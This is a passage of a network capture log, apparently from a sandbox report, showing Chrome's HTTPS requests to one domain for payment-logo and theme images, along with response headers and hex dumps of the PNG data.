2025-01-09 23:51:42 UTC	16384	IN	Data Raw: e4 b3 b6 ba 89 4f 51 d9 09 c0 79 a5 08 87 c5 f7 00 e7 2c 71 de c8 74 03 d9 5d 1b 39 fb d8 1f 3c 28 7e 7e f7 be a0 9e 76 01 22 be 47 46 7c 5d 00 97 6a cd 2d 4e 63 02 ca ab 2c 4d 30 1b 38 1d 02 31 25 9f 10 f1 e5 24 31 1e d9 46 93 df e3 ca 46 8f 36 87 db 1e c5 66 db 8c d8 8b de 85 96 a8 0e 7b ca aa 34 02 69 19 08 8b ce 5a c2 ec f0 ee 7c 37 44 f7 e1 65 01 1e dd d3 5d be a7 5b b6 81 1a 5a 72 03 03 c1 a6 02 07 db 68 7c 81 c1 cb 90 91 50 96 9c 9c 6c 2b 4a d9 76 5e 7a 72 55 81 d1 84 90 0c 69 27 52 7c 25 65 a0 84 5f a5 2f 7c 33 a3 3f 0a 00 ae 24 ed 85 4d 73 e8 a0 01 12 3a 7d b2 3a b1 ae bc 5c 2d 8c 1a 23 c2 c3 59 7d 2f 5b cd ce 34 9b 40 9c fe d8 da b0 dd 11 a9 99 15 1e 54 e3 c6 d6 9c 43 47 cf 72 23 00 7e f2 ca 99 85 21 e0 8b 86 10 f1 75 06 59 a5 86 58 38 c8 2a 13 Data Ascii: OQy,qt]9<(~~v"GF\|]j-Nc,M081%$1FF6f{4iZ\|7De][Zrh\|Pl+Jv^zrUi'R\|%e_/\|3?$Ms:}:\-#Y}/[4@TCGr#~!uYX8*
2025-01-09 23:51:42 UTC	1910	IN	Data Raw: f3 a8 13 11 ba d0 67 94 53 04 90 cf b7 da 63 38 09 e6 48 72 3e 98 b0 10 33 42 e1 31 67 38 d1 14 0e 11 eb 58 bc 98 57 24 d4 65 fc f4 d6 6f 20 ec d9 74 ab bd f5 0f de aa 60 0b 5f c8 d8 3d df ca 6f ba 85 86 96 49 42 19 e4 10 00 a4 18 34 28 0c 20 a9 ff 99 24 4c 19 8c 2f e9 74 46 1c 39 5f 3a 16 8b 15 72 d1 a8 27 32 a9 8a 46 83 05 9b c8 b4 e5 ec 9a a5 3f 9f fd 67 89 a7 33 d8 b0 f7 e7 5f 2a d8 2a 93 dc 39 3e 56 7f cf f7 f4 09 00 e8 3a 9f 69 a1 34 00 79 ae ad bd 9e 8c 1a 19 27 fa 4b 64 24 c6 8b 65 41 6a de e8 29 4a 99 55 29 0a 03 3d ce 35 4d eb eb b7 e9 d1 0c 5a aa 3f ff 5a 45 07 0a d9 51 88 01 b0 fe ed 42 db 4b 6a 5b 58 27 a1 4c ec 76 28 28 a8 cb 08 68 92 60 02 3f 6f 20 95 04 ef b5 8e 18 1d d3 72 6c 96 d6 d7 57 ee a8 c8 b5 b7 f7 c7 7b 4b e8 24 43 76 34 09 d5 ae Data Ascii: gSc8Hr>3B1g8XW$eo t`_=oIB4( $L/tF9_:r'2F?g3_**9>V:i4y'Kd$eAj)JU)=5MZ?ZEQBKj[X'Lv((h`?o rlW{K$Cv4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.6	49883	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	975	OUT	GET /themes/static/image/paypal.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	1059	IN	Data Raw: 34 31 37 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 03 ce 49 44 41 54 58 47 ed 98 7f 4c 94 75 1c c7 5f cf fd e2 f8 ed c1 01 07 04 ea c1 44 7e 34 39 77 a4 e6 6a a8 49 a1 b1 e1 cc 70 d1 3f 0d 1b e6 cc c0 5f ff 08 9b 6b ad 56 ae d4 1a 98 f3 47 99 a3 35 75 cc 25 6a 89 68 66 ab 66 4a 2c 98 c5 c0 62 cc 8a 83 04 39 e8 ee e1 9e bb e7 69 77 1b fe d3 96 cf 0d 6f f3 da 7d ff fa ee bb cf f7 f3 f9 bc 3e ef cf f7 79 be fb 0a 8a a2 24 48 92 b4 4e 96 e5 42 40 20 bc 86 a2 d1 68 7a 45 51 3c 25 b8 dd ee 0d 82 20 1c 04 34 e1 c5 70 2f 5b 59 96 e5 ad 82 28 8a ef 01 f5 61 0a 31 9d f6 01 3f c8 5e a0 2e cc 41 3e 8c 80 3c 64 0a 46 14 79 c8 04 21 a2 48 44 91 10 55 20 Data Ascii: 417PNGIHDR2YsBIT\|dIDATXGLu_D~49wjIp?_kVG5u%jhffJ,b9iwo}>y$HNB@ hzEQ<% 4p/[Y(a1?^.A><dFy!HDU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49884	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	746	OUT	GET /themes/static/image/subscribe.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:42 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:42 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:42 UTC	11599	IN	Data Raw: 32 64 34 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 2a 00 00 01 ce 08 03 00 00 00 18 31 b4 89 00 00 02 f4 50 4c 54 45 00 00 00 40 49 7c 9a b1 da 40 4b 7b 40 4a 7a 3f 4a 7b e6 8b 86 40 49 7c 2a 37 67 8a af d6 f7 8d 88 99 b3 da f2 92 8e 3f 4a 7c 3f 4a 7b 3f 4a 7c 9a b3 da ec bd bb f7 8d 88 99 b2 da 3f 4a 7c 99 b1 da 9a b3 da f3 89 84 3f 4a 7b 3a 43 76 39 42 74 f7 8d 88 f6 8c 88 3d 48 79 f3 86 83 ed bb ba 40 4a 7c 37 3c 6e 9a b3 da 41 48 79 3b 45 78 ec bd bb f6 8d 87 3f 4a 7c 3f 4a 7b 3f 4a 7b 99 b1 da 98 b3 dc f6 8c 87 f7 8c 87 f7 8c 87 3e 49 7b ec bd bb 3f 4a 7c f7 8b 85 40 4a 7c 3f 4a 7b f6 8b 86 f4 89 83 f6 8c 88 f7 8d 88 3f 4a 7b f6 8d 87 f6 8d 87 3f 49 7b ec bc b8 3f 4a 7b f7 8c 87 3e 48 7a 96 ab d2 93 ad d3 f5 8c 88 f6 8d 87 9a Data Ascii: 2d42PNGIHDR1PLTE@I\|@K{@Jz?J{@I\|7g?J\|?J{?J\|?J\|?J{:Cv9Bt=Hy@J\|7<nAHy;Ex?J\|?J{?J{>I{?J\|@J\|?J{?J{?I{?J{>Hz

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.6	49890	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	977	OUT	GET /themes/static/image/discover.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	1166	IN	Data Raw: 34 38 32 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 04 39 49 44 41 54 58 47 ed 98 7f 4c 55 65 18 c7 3f e7 5e b8 42 08 59 6e 54 b6 96 15 39 36 69 59 2c 58 31 4b d2 20 08 5c 85 90 29 45 80 06 0a 4c a8 f1 63 8b 19 d9 16 50 cb 54 2c 71 29 4e 97 9b 08 2b f1 e7 5f a8 85 63 30 65 80 01 42 bb 20 28 5c 89 df 5e 84 7b b9 97 7b de 76 ee 0d a6 1b 2e 7e 49 b0 f1 6c 67 3b f7 ee 3d ef be 9f e7 fb 3c cf 39 7b 25 21 84 8b d9 6c 0e 95 65 79 39 20 31 b7 42 a8 54 aa 06 a3 d1 58 28 19 0c 86 4d 92 24 ed 07 54 73 8b 61 54 ad 2c cb f2 67 92 d1 68 dc 09 24 cd 51 88 11 d9 fb 14 90 1f 80 c4 39 0e 92 3b 0f 32 cb 1c 9c 77 64 96 19 c2 bc 23 f3 8e 3c a0 0c cc 97 d6 3d 89 Data Ascii: 482PNGIHDR2YsBIT\|d9IDATXGLUe?^BYnT96iY,X1K \)ELcPT,q)N+_c0eB (\^{{v.~Ilg;=<9{%!ley9 1BTX(M$TsaT,gh$Q9;2wd#<=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49889	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	975	OUT	GET /themes/static/image/shape1.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	4077	IN	Data Raw: 66 65 31 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 3e 00 00 00 42 08 06 00 00 01 78 26 55 68 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 30 Data Ascii: fe1PNGIHDR>Bx&UhtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49891	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	975	OUT	GET /themes/static/image/shape2.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://aqctslc.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	5909	IN	Data Raw: 31 37 30 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 58 00 00 00 48 08 06 00 00 01 05 44 02 39 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 35 20 37 39 2e 31 36 33 34 39 39 2c 20 32 30 31 38 2f 30 38 2f 31 33 2d 31 36 3a 34 Data Ascii: 1708PNGIHDRXHD9tEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49892	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	741	OUT	GET /themes/static/image/visa.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	1236	IN	Data Raw: 34 63 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 04 7f 49 44 41 54 58 47 ed 98 7d 4c 55 75 18 c7 3f e7 1e ef 1b f7 82 0a 28 92 40 20 89 22 0a 9a 0a 6a b4 ca 74 f9 32 4c 2d 2b 35 0d 2b cd b7 4d 89 a1 ad 59 ad d0 72 58 d9 9c 2f b8 32 35 27 3a 5f 9a d3 35 5d a5 19 38 5e 26 51 80 a6 f8 06 02 a6 42 e4 f5 72 e1 de cb bd f7 9c 76 7e 5b ae 3f fa e3 e6 82 49 bb e7 af df f9 ed 77 7e cf f3 79 be cf f3 9c 73 7e 92 aa aa 21 1e 8f 67 96 a2 28 49 80 44 f7 ba 54 9d 4e 57 e3 72 b9 0e 49 4e a7 f3 75 49 92 b6 03 ba ee c5 70 cf 5b 45 51 94 37 25 97 cb f5 29 90 d5 4d 21 fe 72 7b 9b 06 b2 11 58 d9 cd 41 f2 03 20 0f 98 82 01 45 1e 30 41 08 28 12 50 44 55 a1 ad Data Ascii: 4c8PNGIHDR2YsBIT\|dIDATXG}LUu?(@ "jt2L-+5+MYrX/25':_5]8^&QBrv~[?Iw~ys~!g(IDTNWrINuIp[EQ7%)M!r{XA E0A(PDU

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49894	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:42 UTC	743	OUT	GET /themes/static/image/skrill.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	1490	IN	Data Raw: 35 63 36 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 1f 08 06 00 00 00 a5 0d 9e 59 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 05 7d 49 44 41 54 58 47 ed 98 7b 4c 53 77 14 c7 bf 7d 80 a5 2d e5 b1 d2 32 84 82 ac 3c e4 51 21 88 ce 09 ba a9 61 2c 32 85 a9 63 0c f7 70 ce 81 31 33 b2 65 68 b2 ec e1 66 b6 3f b6 a8 d9 c4 e1 36 c9 a2 19 ca 20 d3 4d b3 e2 83 a8 a3 83 20 10 86 d5 59 d6 16 8a 58 ac b5 d0 5a aa 7d da 2e bf 9f 62 32 b3 68 dd f0 81 f3 26 37 37 fd dd f3 fb fe ce e7 9c f3 3b b7 f7 32 7c 3e 9f c0 ed 76 2f f1 7a bd a9 00 18 18 5f 87 8f c9 64 f6 38 1c 8e 06 86 dd 6e 7f 9d c1 60 6c 03 c0 1c 5f 0c d7 bd f5 7a bd de b7 18 0e 87 63 23 80 8a 71 0a 31 ea f6 57 04 64 13 80 35 e3 1c a4 fa 21 c8 7d 96 c1 ff 79 46 7c 3e 1f e0 Data Ascii: 5c6PNGIHDR2YsBIT\|d}IDATXG{LSw}-2<Q!a,2cp13ehf?6 M YXZ}.b2h&77;2\|>v/z_d8n`l_zc#q1Wd5!}yF\|>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49893	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	743	OUT	GET /themes/static/image/shape3.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
2025-01-09 23:51:43 UTC	11493	IN	Data Raw: 32 63 64 38 0d 0a 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cf 00 00 00 db 08 03 00 00 00 fd 18 35 e0 00 00 03 00 50 4c 54 45 00 00 00 0f 10 10 04 19 17 0b 45 68 0f 0f 0f 28 6f 62 04 0f 10 a7 d4 55 a9 d7 54 10 10 10 0b 46 69 ac da 55 05 06 06 0b 0b 0c 96 c8 47 0f 0f 0f 0f 0f 0f 0c 47 6b aa d8 56 0b 0c 0c 10 10 10 a4 d2 55 25 6c 62 10 10 10 10 11 11 10 11 11 a9 d6 55 0b 45 68 16 52 66 29 71 63 10 4b 67 0f 10 0f 0e 0e 0e 0e 0e 0e 22 6a 63 25 6b 62 0a 0b 0b 0e 0e 0e af dd 55 2b 71 62 11 13 11 0f 0f 0f 0d 0d 0d 0f 0f 0f 04 3e 68 0a 43 68 2f 74 62 0f 0f 0f a1 cf 55 a0 cf 56 0c 46 68 0f 0f 0f 0d 0d 0d 9c cb 56 3c 7f 60 0e 0e 0e 2a 73 65 2a 72 63 92 c3 56 0f 10 10 0d 0d 0d 35 79 60 2a 71 63 0b 46 69 0c 0d 0d 0c 0a 0c 0f 0f 0f 0f 0f 0f 20 65 5e 10 Data Ascii: 2cd8PNGIHDR5PLTEEh(obUTFiUGGkVU%lbUEhRf)qcKg"jc%kbU+qb>hCh/tbUVFhV<`sercV5y`*qcFi e^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.6	49897	38.165.16.38	443	6232	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 23:51:43 UTC	748	OUT	GET /themes/static/image/master-card.png HTTP/1.1 Host: aqctslc.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __51uvsct__KQGOswWUPTJRCryv=1; __51vcke__KQGOswWUPTJRCryv=32020801-29ae-554c-b22b-7e3857e1cb93; __51vuft__KQGOswWUPTJRCryv=1736466697054; __vtins__KQGOswWUPTJRCryv=%7B%22sid%22%3A%20%2222dedeab-09c4-5c37-b4f8-e7200449bd0a%22%2C%20%22vd%22%3A%202%2C%20%22stt%22%3A%202646%2C%20%22dr%22%3A%202646%2C%20%22expires%22%3A%201736468499696%2C%20%22ct%22%3A%201736466699696%7D
2025-01-09 23:51:43 UTC	231	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 09 Jan 2025 23:51:43 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Cache-Control: no-transform Access-Control-Allow-Origin: *
